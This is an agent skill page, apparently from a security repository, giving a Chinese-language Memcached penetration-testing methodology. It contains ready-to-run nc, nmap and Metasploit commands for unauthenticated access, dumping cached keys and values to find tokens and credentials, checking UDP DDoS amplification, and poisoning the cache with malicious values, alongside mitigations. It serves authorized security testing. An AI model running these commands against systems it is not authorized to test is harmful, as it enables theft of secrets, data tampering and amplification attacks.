skills/exploit/network-service/memcache-pentesting/SKILL.md
Memcached 服务(11211 端口)渗透测试方法论。涵盖 Memcached 服务发现、未授权访问、缓存数据提取、DDoS 放大攻击、已知漏洞利用。 当 Agent 扫描发现 11211 端口开放、需要测试 Memcached 未授权访问、提取缓存数据、或评估 DDoS 放大风险时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity memcache-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 11211 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 版本与基本信息
│ ├─ 手动连接 (nc / telnet)
│ └─ TCP vs UDP 探测
│ ├─ TCP 11211 -> 标准连接
│ └─ UDP 11211 -> DDoS 放大攻击面
├─ Phase 2: 未授权访问测试
│ ├─ 发送 version / stats 命令
│ │ ├─ 返回数据 -> 未授权 -> Phase 3
│ │ └─ 无响应 / ERROR -> SASL 认证启用 -> 爆破
│ └─ Memcached 多数实例默认无认证
├─ Phase 3: 缓存数据提取
│ ├─ stats -> 基础统计信息
│ ├─ stats slabs -> 内存分片信息
│ ├─ stats items -> 各 slab 中的项目
│ ├─ stats cachedump <slab> <count> -> 键名 (< 1.4.31)
│ ├─ lru_crawler metadump all -> 键名 (>= 1.4.31)
│ └─ get <key> -> 获取具体缓存值
├─ Phase 4: DDoS 放大风险
│ ├─ UDP 端口开放 -> 可被利用为反射放大源
│ ├─ 放大比可达 51000x
│ └─ Metasploit: auxiliary/scanner/memcached/memcached_amp
└─ Phase 5: 已知漏洞
├─ CVE-2021-37519 (堆溢出)
├─ CVE-2019-11596 (NULL 指针)
└─ 旧版本缓冲区溢出
# Nmap 信息收集
nmap -n -sV --script memcached-info -p 11211 <IP>
# Metasploit 数据提取
msf> use auxiliary/gather/memcached_extractor
# Metasploit DDoS 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp
# TCP 连接
echo "version" | nc -vn -w 1 <IP> 11211
echo "stats" | nc -vn -w 1 <IP> 11211
# libmemcached 工具
sudo apt install libmemcached-tools
memcstat --servers=<IP>
Memcached 虽支持 SASL 认证,但绝大多数实例默认暴露无认证。
# 发送 version 命令测试
echo "version" | nc -vn -w 1 <IP> 11211
# 返回 VERSION x.x.x 则无需认证
# 发送 stats 命令
echo "stats" | nc -vn -w 1 <IP> 11211
# 返回 STAT 数据则确认无认证
连接测试
├─ 返回 VERSION / STAT 数据
│ └─ 未授权访问确认 -> Phase 3
├─ 返回 ERROR 或无响应
│ ├─ SASL 认证可能启用
│ └─ 端口可能被防火墙过滤
└─ 连接超时
└─ 检查 TCP/UDP 端口状态
# 版本信息
echo "version" | nc -vn -w 1 <IP> 11211
# 通用统计
echo "stats" | nc -vn -w 1 <IP> 11211
# 内存分片统计
echo "stats slabs" | nc -vn -w 1 <IP> 11211
# 项目统计
echo "stats items" | nc -vn -w 1 <IP> 11211
# Memcached < 1.4.31: cachedump 方式
echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211
# 0 表示无限输出
# Memcached >= 1.4.31: lru_crawler 方式 (推荐)
echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50
# 获取指定键的值
echo "get <key_name>" | nc -vn -w 1 <IP> 11211
# libmemcached 工具
memcstat --servers=<IP> # 统计信息
memcdump --servers=<IP> # 导出所有键名
memccat --servers=<IP> <key> # 获取键值
# PHP 脚本
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());'
缓存数据提取流程
├─ stats items -> 确认有数据的 slab
├─ 版本 < 1.4.31
│ └─ stats cachedump <slab> 0 -> 获取键名
├─ 版本 >= 1.4.31
│ └─ lru_crawler metadump all -> 获取键名
├─ 获取键名后
│ └─ get <key> -> 逐个获取值
└─ 关注的数据类型
├─ 会话 Token / Session ID
├─ 用户凭据 / API Key
├─ 序列化对象 (反序列化攻击面)
└─ 业务敏感数据
注意: 缓存数据是临时的,可能随时出现或消失。
Memcached UDP 反射放大是已知的最大放大攻击之一,放大比可达 51000x。
# 检测 UDP 端口
nmap -sU -p 11211 <IP>
# Metasploit 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp
msf> set RHOSTS <IP>
msf> run
UDP 11211 开放
├─ 可被滥用为 DDoS 反射放大源
│ ├─ 攻击者发送伪造源 IP 的小请求
│ ├─ Memcached 向受害者返回大响应
│ └─ 放大比高达 51000x
├─ 缓解措施
│ ├─ 禁用 UDP: memcached -U 0
│ ├─ 防火墙限制 11211 端口访问
│ └─ 绑定到 localhost: memcached -l 127.0.0.1
└─ 报告建议
└─ 将 UDP 暴露标记为高风险发现
Memcached 版本已知
├─ < 1.4.31
│ └─ cachedump 可用 (信息泄露更简单)
├─ < 1.5.6
│ └─ CVE-2018-1000127 (整数溢出)
├─ < 1.6.1
│ └─ CVE-2019-11596 (NULL 指针解引用 DoS)
├─ < 1.6.12
│ └─ CVE-2021-37519 (堆缓冲区溢出)
└─ 通用
└─ searchsploit memcached
如果可以写入 Memcached,可以投毒缓存数据:
# 设置/覆盖键值
printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211
# 潜在影响:
# - 修改会话数据 -> 越权
# - 修改配置缓存 -> 逻辑绕过
# - 注入序列化对象 -> 反序列化 RCE
port:11211 "STAT pid"
"STAT pid"
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能